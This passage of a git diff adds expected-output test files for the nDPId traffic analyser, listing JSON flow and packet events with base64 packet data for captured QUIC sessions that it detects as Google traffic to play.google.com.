+00432{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic_q43.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388060,"pkt_ts_usec":251652,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"AAAAAAAAAAoAtmi7CABFAAA6AABAADsR1dxId9kdM3gUygG7wFkAJsU\/COg8d72PiRX5AdVtByTcf3A7ZqGOSkABJDYBAAYA"} diff --git a/test/results/quic_q46.pcap.out b/test/results/quic_q46.pcap.out new file mode 100644 index 000000000..fa1f6f606 --- /dev/null +++ b/test/results/quic_q46.pcap.out @@ -0,0 +1,17 @@ +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic_q46.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1559632338055,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"172.29.42.236","dst_ip":"153.20.183.203","src_port":38292,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02205{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":55044,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFAAVic3hAAD8RmymsHSrsmRS3y5WUAbsFTk\/Qw1EwNDZQ6s\/m5wbfJy0AAAAEYNpYkp9oOdCGDvxYpAEEAAQAQ0hMTxoAAABQQUQAtgEAAFNOSQDFAQAAU1RLAP0BAABTTk8AMQIAAFZFUgA1AgAAQ0NTAEUCAABOT05DZQIAAEFFQURpAgAAVUFJRJQCAABTQ0lEpAIAAFRDSUSoAgAAUERNRKwCAABTTUhMsAIAAElDU0y0AgAATk9OUNQCAABQVUJT9AIAAE1JRFP4AgAAU0NMU\/wCAABLRVhTAAMAAFhMQ1QIAwAAQ1NDVAgDAABDT1BUDAMAAENDUlQcAwAASVJUVCADAABDRkNXJAMAAFNGQ1coAwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tcGxheS5nb29nbGUuY29tTF5QaJRKaTNoSpJ2byVw\/n2jR\/SXiDAUaxRXCyDlaH13oYGRvmmLh5UfnwV+qkP8rBLql6P0cVhpCGDXJyou7qdg+dnByWJAkTSY+CUh8yfYOYMRdIFYIeO6ZKEQGzvhOWxsGdkkbQk0joNdUTA0NgHogWCSkhrofu2AhqIVgpFc9hnRMDAwMDAwMDAg1WpdFEihkws6cxoJh1cnEudv5EFFU0dDaHJvbWUvNzQuMC4zNzI5LjE1NyBBbmRyb2lkIDguMC4wOyBCTkQtTDIxqZ2LiTEPPlI5bOtRl2sWwwAAAABYNTA5AQAAAB4AAAA+5+ExAY9KZ43WAi5gboQGad\/XZY9NgsCyvAvlen24imYZuixux5QJ4+eD6hkpSGJfDn9+XBFyJ61rFG0t2MkrZAAAAAEAAABDMjU1M\/in8FpHdkpOU1RQM\/in8FpHdkpn+K3FgBXj\/3u4AAAAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic_q46.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1559632338055,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"172.29.42.236","dst_ip":"153.20.183.203","src_port":38292,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"play.google.com","user_agent":"Chrome\/74.0.3729.157 Android 8.0.0; BND-L21"}} +00439{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":83803,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AAAAAAAAAAAA4JDHCABFAABAAABAADQRHsSZFLfLrB0q7AG7lZQALNrDw1EwNDYF6s\/m5wbfJy0AAAAFbGsm7eq1vsQbMX0cQAQkIAMA"} +02216{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":308554,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTiJnQAtQvT4L41LYkTDHbWnvY3Q7xNlk7lPAOJoU7qSEDNxr\/eXA5HdvGouKSa5JA+EfJXVcrF5I8JeTQOik+2bWgM1nMhrT0SQGJgoDC3vmiFQsGJJjkMZScnfQIf1wQxM8bMy1rX9IG5gNouAF2UDgTxNWxp8Z+kpanynzPm9Aewt1Q8YQSGSHVmFR2wS\/qJorTHWD8seoBDxiXr\/Jrzhp+T4G7aWy+PK4peW1lunM5ZwayH+2G6AF72mr+9NShIq31T+R\/i7G00e0d8lC08arFgrP7xbHltzNsevJw7TO7heoxYjLOdwd79cQPJBHGN6cAkZED6B76kDGTUdX1AYSpun6LhwRHlxgVuFQtfE7y\/DnLBUYzAcWntPYNYvGghUNITCLh8lnobrCJOOpgpG31oH5+kuwGIUSXbKA+01pRlfgd5gXolZKhK3pWOerj\/frjDS+2g8vClgYRT1+lV7rb2y\/Iik5yjyOhRlKWs5VLZ7VCWYVKqICcZsTvon\/NMVVMYb6HJJ32Yz2ORvo8ebpxTje4yqrxC+qapfY5RwYmEaDmI1L2w04UoqZ0dJ1NSSxDm6HXMu+ZshF6SujBNEG42mGdRf6IaSoNlxzMkSyrtk+YmufaVAWXNamgtbe+ZtSIpyI7W+63DDWITJezj4w9w00cUFEntoLNlOB+zElDxYScTOE3CpSs44g2fcVw+4rvMHfwuxPeTdHzp4MAsePKq+zngj\/90JBFE\/tDfTVYbaRpu5lmM3pDSvtX0fT5TvOH843VTAPlB2fm8MHtEMU7PIrg8lvLI5kYBqaI59yOALOtxEFcXeKMhTylktz05RjIrZg6ifgDckMo48nJYsJtSpscdyoK9zfGzj4NaovMFvwwWNIopaYds\/P+xBZkC90KYsz06jFDLqNdcZXDkHaPFJXZAxXx9set1Fg3lj6r\/AobA8N7sLKydAgxC\/rtEWCBX5wbSuX8kpFOJgGKfLdk0JYmC7zbnJyfyy+C6ukhZHN0cU81AFqszDmIIshOZAY4iWz5aWIzL1ctZtibQ5iLAcoUfb250TuivT+FGWq8x3DLfXpYTdXUgbMkK8lTQJuOYtFhD4fHRbg8qZIkwDODXwLSUcnqUn+Q2uzh8PtHzNYdam5Obh2M8GgLW8ukG2P6sOp8CokFzXYzFsiExtyxRsQxvskOlQmLevtIDnsShgWKCRO7UN+uhRGaYGLmSq2\/5t1JyMiF0cem8I\/nOK0mRwXY7N+ECcoaRDXyTKJR\/4pe4u8s4tPdTtCzoa7o8ItJAgr6FkTuYLEo2hwMyPm4hV38utdskBYyUhI6Vz27vbgYAi5nzlUMaKyr3bk72PVb2h6cE+5pbWp8t27oXh4ceZgCJ1CqxGsEI5zHMEsBX6U\/74OCgAAVZMzKh0lFrwDdkIuV+i7biu6I3DoZxr1X50m6VKkaA+qvAjpG+BPOMuRH3\/5\/vE6iwiiUVaV8HIEZpVud+gx9Rzu573VwQ87CJfVs7RmgLI88d6qzIEQAYp5JQrr2lJf1+r4xl60u3ZAa+E+ox2R3gSbE67e9uWolVz8QS9Ep2IK7cfXKJOfNxu70MQcIVFRson71WUtcVpILsaqgb9rATvfzoNmtskVITRoIpqD+mi2ZJvPx6FmM5uP7YQiAppyWykt6puGjRFKGSfbt2gGFGLSdxE20Jo0zgDKZvUFlb4u07xu5j8JVjk7HreBYMQixh6ugURELWsT7GFnQi1VQvh64jRAmDcuARkYMw2228CWbF39WsM9a4SaEoLaEPaqo3lcdKo0+Sgn7WsqvH1w"} +02228{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":308554,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTrzqQArMTUQF+qfZl\/j6GDEC\/I+tHha\/dgY9YrBnIQRh7ycTzuKlQRveBbgIPaLRsi0ExNkrNV7kEMqhWFB8DVw3+iXp7Q0SPR4wk2prQv0Z9EAI0pujRDgT83qm1mSoLM4iQy0bz0Gm96wSsATMKmUKyFyFBnpTsLUf9Xvid5CkSvVYq5IyCOuKfH87rCz5QTkBH6YTC+QDCSrAGsbffYz9bMQO0R4i01YSA9\/I4aHEs98s23RNpdZor+Q4Oguj04Ui1Bg8f3CMHs0B1wKZWu7IF605ju+my8Ex28FSM3yemKCvdolaLftpnKyeHoId\/QpIb8iwutFlbt0BwhTCDewVFpV7BQBJRHSzzcqF3KHmxfGeJEz8HgPupbuU58vn9Kst3qPAnRfWPM9Y\/xuqQrVroUhIzD2KcGL44idNWqzV9MuP5s0aD\/0n00A8OknoaT1Z0nD6uS7MwoMEp3hjaZrYh1FVS6ZqzuhHdMfQUCymEejFbSmXbd58wxV444MjFUEdTCH9C5nplkg2PrEbadm\/t1\/rEMeg\/JOLjOqZeL3RVNZnVu+64GiTXTooYqjnh40z9xHOOmQOZyfle2iCVO8R\/ivXtUThQIVkJxvD+lByIAMuKs19fjh7OTQuW6brcmUpLLxNTED3sSOJ1MHHkPoWBfdRuMlOs0Ryz0ZCwxjKB2QykP3nGHn+U9cQJjEEK5qvkEMPYypV1+HtjqlPnl6iu5Sd3xNKaZ9FcaL83oG6RIF4zjJ6ihumZijejW+\/cRyoX2\/M6YpKMTtn1WRn9rhtQry3eVZPeQNVSd7XZL0VdvQ5vu1ggAQn5TQ5togK+G+4pXqF5jfiQ6DBFgLpBhWv\/UFK7aVWxuJrDA5S4u1lGTu45kd+19qZi53LcaXhMl0qJBJJF3oCyKeyoTTUDuHU27jmLWrpsAktKlqGf+4TuB3lSO\/EPFyrp8KLENcsfa5\/l+B8TZFRRUwAQv7YeB+SquPT+XySpsyvSWPmJ1OkgDGN40H8aBclc9K0qdDBg5M2dE8QYwGrrNKoCeKgtW9TnOyhkw6iCeSMxUnEz7I72YmaU3B4Qdh4i1suSJJS\/Is5YBD0LYW9RGca2psLfKVVQ3pVzCNm+8iuLUD\/+N5dsKBm97UDJJu9QZbvh\/17ADMdqmqjGV7a\/KL1diOzof+kNEM6D63PNaEqTcdTJU679aUQuDA36PwnjOfPQ326RaECpj7agr5AR7cT1hl7xR6U2rhzkl0Kz5J\/fIaAVikO2T1YDzpEa6ViQoL96Re5TbD3QjIjfR4Gp0AjyScTnvjlkaS0KPbZ3dZO0yuuI8K2w5rv+O9wTz\/j3JIVxILrgv+nrmo9uCpzcwBNXvDg5SBwN8NZxMqNH+W5G7d95IPrVS2zW\/4pG\/B+zxKwHjBFjH1xLbTp7hfN1GljHGDpVEQpGi4OAY8li971mNtDTBydQJmQ7gQlhjFgMlfgoeRtSHU+o01scTey2+WUdu3zYtDsTDdxFIAdmHZbOrHyzRES5q\/KmutL7eczEoW1LzE4ioLwIH\/g4j5+nlj4cThgEcmecZB7Bt1chmjIYfJVOi0zwKH0\/NJvwsPzAtyn1PIZKiwEc\/CbD40rT48BToIWSWBLXxWuohMPnE3FrkoivOd4Gpa\/0yzU1wMDSMH+mbgsZhX5zYEoGglp3CbY5FVv9cUPm5sCy1UpjiUb\/pbUisccf6scx\/oiXxAimL5KCP061NTFY85qjPvir2+lXCW2MH9mnIP3P3l0xfA0+tgQ+tN730D7+w1UgNyI6x8+Gr2OtccMTyA1EwS8"} +02226{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":309852,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTqtnQA9VWeqlnKi1He4wQWN\/f+ykkZ7EUoh++i5eD6CZN\/2OK1LLvIohuBQ6+oAOvGiKMTrPyoMy+bwMieLisXdiafKDJvZCKRyShiIE\/VsZZA592sxRa9Vg2pXH9j8435JRlNe5zXJlpHaHeTbO9GlYTmUN5Wk8dNnRtW2hdo25fc+9lOQWYGT0CaE9IiOnSr9tN9PQJxGm59j3+FpjB7JoRFF6QQtD4qRdkxQH1ljvfZOy\/NU3nHfLfeZPZJ75hGZb662tqPtx7u6RVD6+HRQ9t50R+x\/XDILWM07srC2XJdOD+9vMXyQZnHhaNfwt9CRyUEeHYvvI4s5LjOc7Mbgwm5E+3uTUaD0FMzn7S4eDN2dyeOzJGAHwGJcE6SUAzonQ4OeQrZPgaBZWVNmyKGxjKy3RWR618ul+UgR1pwa4+LeuwPByRnCcul0lBFI2RjWbPy7B4tvwCuJTWDNvttFv+HTU8o\/OMC0jVE6E40A6vQJGKHkOZ\/eHxWUXlsEKRm\/GXeQyO2JrKq91+JEuAU0WTmWUvpcxBbRgUThFcVxvkjStKjqJe0MlTP\/cYQFieJP8LkoVTkSd03u3SwfS+3XPGs5NZVFfRewRdYH0d\/EQA+OQ4qOBcwSzVxJTvoR9+aJTgns05wAao6IGVc00ppeEKy8o9B2PPCf2Yn13wVW2uR78+\/Sd8uRXih\/0hbDCAxr1YMdwv+eWb6z6r2HUEfmZfbZ2vZFFXy1XdNELipxBnZhyKw5gtJlK\/prcdMl689I0X4UmwUKvuaZSDK2qVQjQZ+WfWe7Y3+IIr6FePlmnyWxuwGx2NAcUjClYlSywa3SNafQ\/QnCxF9jWX851VWrmEKNrzufxVm9BLlnyE7TOg37UYKSnU7MFav\/5Y7S9+nCiGS0pI2h6bn9B89LgkNcy2P7evWjIvP\/b3J9WMvri5HVWcmKN3UKigYQLEtEZLWZFHS8dH+em70WrNuoTlSgtkGX3l78KdOLj\/JZ3BCtl8IlL8uhYijP1M\/3r1gWclDoY\/N++VS2piiStR0CBqTIjR1lVS9uLqnX7ydFKTP\/QLVmlxN2DahOn1ecixBGSgvwTN0wTqnzQ99268818kw4dNrfToAOz5UDyCmvlGbewpbh\/O7rwGiMjYWFa1wJFnhRK+U3vWbsPAKjCIVK5nitFyipl+JsLSS8NuBlvP1GXpicNGf68c\/aKS\/iTLOLXEYWxAXBoVkP8VTohEv+v+JkOUIqzU9aUAeXRmxabFQdwgmz6HZ5Sh6Wz588d0Il5MNXCmccVrr9R16l+BtvO\/6JwNOBkS2faZ+uXBgIOKPPEK\/VmJ2tHOGRGhP66mnMcsK6ppNBWsqw\/4teJOjdZ6zNkHNjYpMl1HHg9179N7hNpmxK3JQeEhM3Nd\/bwFjudZZ3xeZKb+RO5+HTvf6lOws9qjq9GRVdht6E7qZyfdu66KCGUZ236sgXx8\/tXdOG1GjNaZBSWQdyO3j8e3Szniom7EbDIbswnp+K0bpq6I03LBzwL5bcxiJ9cX6D22d2UJSBciDgro3a5rhSqnCgE5jx3RU7FGktThztnkynC0jB81m1fhkQfPfxfNUt1a9Okezhxk0bMu0BS4AVkvJ3ROO7KASlsLkd0UTIs2KqAJtOyK9weTtncnzcRNQfszERX2cx3V06dKgFWnFbRhfkN0NHXkYDEtKOXl1Mg2fVxyB0vQzYU6LSlvw6Dagv6NwzYn1c6Ac7E1lV9ZzFBiTOFF0umqRJzygwakMmhdAHqB0FbthGufvfPpr\/4MvkTCdu10K0kPvF7x6j+"} +02223{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":309852,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTulzQA4Nqjz0Er3MU0WaJWsTb6+OzKEJZf2dw3jpRfM42xBBz7Ij6ARWu5LPNpCSwoQ8X96eVDniUq0N\/vuNRqTBgMhFSYMe5OzVtEeBSM4wAFDfAi2DxW176eu1Iwme2\/9uvLUrRAWuWsEus9t6Ah21YDDD1q3j5J32cDJL7jKVar4IqsxO9bMECc3De03kdFc80bZT4oNjkxGcfBPzonLptbdkXf49oNJDM1AtHADbyRJ3JD6xlx8kQYNk4iLKxs3fQUrrIrPxsQ16h7EFxFnY5\/ioJHP5XURY+UNrjT4wVTW75FCEdObdfvlPYtHr47uQndyhBFjXJnH+Tv9kXG0\/kb+CPvKv0Wgl3dFOZR6ex8Roh3DJwHb\/XpmmznHaWwCHBzRq6jSKQNyywIBXkWrXLhRMWy6beBnpwHD7FthwENC\/AMfTuE\/d0g56HFz009Xvcdp5J1DSxa6cSP2tV0O593qSaTMnJAAoF+YzaGGfj7rjatLuCneHBUKsJSUgzWFiTFh8JnKBVb1lpr9w9XbzFWXNuOdddw8lqNVTo0si9wtmsaCk6l9crZaV\/nZpQAvE5EyH4UC5ZCW8tlUG0Nfp8hCY02G36nPGcOu2vyZc2DXMazwNEPpXD7JeiIRWbI77sGDVt+i2xOhH4CLUCQbBa41m\/jbe152DesxdPH3m6jM3TAYlWhN78h5zQyWjSO0Cj31froBCVE00GFjHWWzr+h3kwIUZlUI7zgavvktdYfk7vyRR+dx3wxMIoSVsj\/bhi1BLD2w9UcAJtuow\/\/YOiH0ptU8YtKc\/X54d1UICtdbcZewny+XGVPWPvrb4WCSVGQLVtEi4PjOlpqg949uVZHlQNGNFDANRb1Tth66FqJXKXQLh6TO3loi5Y6Yj6j3W4C4e0EEduy9NZfpuLpe3zUaxH8ta\/NYSuJidsW+ldiWKhRUVJpNh6dXca55uflLLIHwt9A86T\/GVx1bjBhA7nmXTCmXfJgA1IKSQFP7ok64LfcpEgscdKW9K3Zb3Tlz7\/Dhc0qodSRooh4VsZLtU4\/3cdep2JXy0sdifebZ7E3eQCRJU914eWhb2zWgVJnXax+7WX68osW3p3D\/EFiBy0TtWC7Cdcp2NZ3dZqRmSZR4O5bscUdU3VgL3xVL\/lxAc3EMUHbWMprZXjF4UAO7YaS7SHlP08M1o1uqUyXTpDzNh2HckjjARzBO+F1LWmcqLD9J9RrGwREKmJzdAVD6pvcmq+RW76d1oG6JqYxHxsXHRReh\/rFHcJhdUMOVklLm4\/ak8r+DSxKbQB0y1eFg9baGTE+xmDjnxoby9nZt5odPiu20A562uq7jlhzQpLTsF13xetP4QkJQfRWBAab0MHgjvxkWB0baTyEhFBEJzzF\/wgfLpXZEYg2etD0o8nw7WRR1g1a91vTFncPcMjwr5F3iP5x9Q49X8ghd9TGoyzBNOWBPB\/BlzVn0C+IFjKH6MUsrtHWhklyJGEy6eW0NnqKPHrnbfqBDKB41lj5wue67FpHwlOaghX1\/rswhHoPomMxRsC8Bcw6XxJ6o+rFv2zl6xwqQbwIHl6N+33LZQ3VfsIXCDQLnSd+fg9vzypcfJWHvG8y2WH2muvjgk+QuCMqQDPYXaApyM5+ujfecyAtExnmuE6sV6n38QjCsTXGf3BYcn\/Lgmmb60zTlMYqusT\/BcFwSxT7KvNJ8tD3dF6L0MX1SOEXmTkLSmavHxUJD+ZB5NVMmCZmHKtpih3RzqfJuCePFUyJOrmjns66xXK9WbkkjrHxJv0uekV36i1OankYxV7FQS"} +02218{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":310260,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTiT3QBF9MIKO6l3icAHCsm+RsXfVs2HHFh8VzwFR8m\/cxKMKevpaJM9mlSnjEbmmM83H5+GRaOhUdSy42UG2nbonHIdwkefDeDznUpxYO81znjqAxO6x+x5CKaqPpTn8kRhUfP43JZ5wRhhFJfs4r66gpUtaxRBERipuinaYZNNnwUKCY239N+ACgh16ylibUDojePbrqNhetqy8tNrSrzWuIPhUxVNNyzQUrlPpRnuhRUTT8QaHFxWruHbKxfGUyN2G1Q2SesJq7\/1yjORSL\/qft7zrJm9HIEAllhgAKCnykwz4xS+QUwLViFs0IT7CwnrpcQan7cAQmV9It+JrUIODEwLKWf1FWUflr5RENvwxsBCaAHhj\/1fJbmgD6otPl851EiEaUYKITxVrQ3ipJ1TgSPnKQd32uyKZMpLMVgR15B7BLe6P+LL92GUI6CfdzjI4fFT3RFcHxLBg8DESmYXil8tQ\/h6SWVQZi\/7hK6R7K3RC5\/b2vTePpwnO\/Q2C\/NndHkX2A54tOABxclk0dXNz6zJ9bDVbUV58R1FCPNPR\/T0wKtiLW5Gcwj0Lr2jCD5A\/NUJ2Vtf0WFp2NugOIsZuu0yJ\/q8oj1t31xX+zavddkSZdbXCMYnK0Qag7fVuO2RaEt6JVtOx4OvFV5rSp3DxEUjnMIm1wfixIQKsVQHT2LokeZmmfnB749bHEKohEX+BMskBCiRgtad38GVWeAsqPck1hzkN8o8PEe\/bhuiAocD\/vkoQWbUGOfGHvRNQ8hOZvMma4vz6O0SQqrLRUHW8TlDSRUUi3WAiO7k7xWERN5Wn3P2aXDOZiefEWdxN3LWBVM9MU0YaF1iCX2sluc8+C2lnwGb7XiTykGe0k0g6NA6bUaSibwmirXdQBzUSOxspTZ4SJLGEMQ7u1AanKYQkqioB3T9kwgPRycN1aQRyiuhhk5ei1e6u7DQwfBHYCkjVzqYXivC6hhtmIhhkluAIcFVEnAyZdVts2BkOKlbsJojqdrdU6tOdow+9tCKoUhKRLJ\/E9+EjwSNeMgcNaLcDZXI2SwdBz8CeHiri142NVJ+y3+IqFN7ahDMcxVQLPfKd6MtMDd7OHWH7to5xRQ+Apq1ayDyeSg9WELujGRNRPRv+rcizz0oBEUBZnxjaSjxiC6leCoDT52w1DWq1ydkRUsTPcjNc8Py9H2teZgJSSs6JWB58IdTyRRAzxHwBVfNpmkobxS8sEleT78tXl8hEPOUetRD1bhtoNn+0kdOcAY0cioAg7bK86xWn5lA4TuatUK1QOb52NMMmJ8hwlRPV+B0uL1KXwMdEOkoGBVZNMk49faOA5ByCXUtQo\/GBb5w1pNv1UtmPdluBqjUFwXclAPufCWMYZ\/NjYHXMs\/XKKBAvorWIlfpUiN44sAC5x9TrTnkPDpQ3Vrbf1Sl2rSOwHP++UhfG731AT1svvvx7WyIm+tA1dPZMtq+O4EwRjwmaeuolMV+2V61BhqLaIsQZJ6QCbYrVudvYgDXY6h26OKG66BzQTfk4MkR0FmeP3jlMMVZlYYRaZSAEmr9pZjttI9foNx1b1ECftGOg+EDqEvdgpIGPOkN4ek3h6hMraj7U481ScLOZC\/HMtIxAsOAxPZpNKYL8Nm1fG1JwQYLkox2KF16VuQLS8j0jFs6iLzPDHWcy8f5uA9HKZXZdVcqeVYDELqX7iycO4xnSmBGejgr3rhDseteAYxYfqOSWZ6jlwPegWFRruNT+1RWPYv\/0wj9Tv418DLAP6CUCW7iGR\/GLGHcR4MM6VthYjVcVKBdY8o+HHS3x"} +02229{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":310260,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTuTHQBJsk2NMwuhctqLJnh+XqzXfDp+VSoBtu2ZpADvjesaKmF+LwsscbyDPfkTEnA\/hwYJwCxNiDzn7dPijYqbRdmmO8heOBsF6UwIHLVgPhL0+77HdW65ZhzVx7MfU\/YDty0vUQeDp77l2lAtZpqEENx\/giUYl7xgVUAkdub4psVoM8YTuwrGR6CAy4do5dyGK2XrNyl980zkQRgFIEkQbGP3Mx7Yb\/uJGZkG+gSylKaXvRD+0xDo364TcUq9HzQ56yUAQ2H9LOpYqdivMqjxnWUcB57C1Wlftwi74PbUgNV0OCMUkqGL4Zv\/Lv+Z2aOIT+4h1eYf3rd\/BuGanY5t+poml3XNRXjURFoY3NRLtL0L7KPJiOpKebIBnZu94UmwRr04n6Rva1P9X5K8tO9+YWblVse28Ho6ngsk2pJzQG5\/ui8pc4Vo60DTWgUsYNJ20112DdPq\/DXhZlNf\/ALXEvt0Ph7WmyBBc\/dynJ+PVE5JT6MPf\/y+hVcCrzwz\/0GR+0V88UMVzVk8yvX3wx\/1mjWIfsc55UNqIY\/yKjpraze\/a8vHvW10RgN3OkuaNfWxg8azsfTwi6uf8k+93XtYlI66PGZKTp5Xr3bMyYrpwj1fIfPsvHPTvYei8DmX4iQuZpnE5nkhvVooqzvYeQAcXfHWphRZg886RvSmDdqjoo5MFox\/vJmNcf0AYtZdgMeYzURt5VyV7tYvUn7ZMYsvFlld1rJa\/SsH4RTJcxw1yPTjuqOEXMJXipfGDPFRUR\/yXe1coCAlVXDQahPlwvJnBrBv1K4SZrobYlNQvd528+tdHOR+n+IFMFM+h7SJqkvGklIakm2oG\/EqDdssCp4lKmcLwYVFLEmMdwb1+cmvJZR1HomLwDXUPd5gKE9Sn6B2bCyvDQxtM9jJlMev+U4xRvyY8DoRDQZSpx9l1NteMORmkW2uob8VoorG5mFdILC\/u1kLzF4UzmygiWYXv7iajaqaKPyyBu78N8UqIsqV7z\/1wD7PKhbQa3QaJy+g7\/FMpCIlUKX0AVEi+83WQBitsSr65wfb3CDTECIfWJrrMZhD8HP7d4iuRLBr\/ps20JA6QKXKDEcs6TAZd7hiZPLymAQRLcE+JUsUoPTkRCuAl2BUgy8ebGc1VkeFL+8Cf4+YeMgP0eVzStCsddd4TtAMga2z0MC6PyHi3zzfNiOKjyrCgZ+hlUZs9tTT\/DLTgXgfoo9F6IXshcEJ6TOakcQykRYDxzSq931yXmgcbHDeZE2LDG1+iN02NoMQRDRnlmuaYWudpzcXIVqHCBr18eToDqYHN3ILwKC++36\/XgR9kBnp1NRdNF+kGxS6yDNBG2GB0Oa\/MBlkpCa23AjC5LLKV+TCxlgzNLAB31F4n+rhjo33r37pfhlWMwBQHavqC+t44SJlAPIIPtmnROl2Gseky7peybFYQTnLc+Fkn8eJBelukiEpTUXoGF55vg108LxsOu9RFWohywj06hQIaiSMfvA2que\/0ageffrn34nSeuDHJtAzmuaaUNcB0u3xSNwse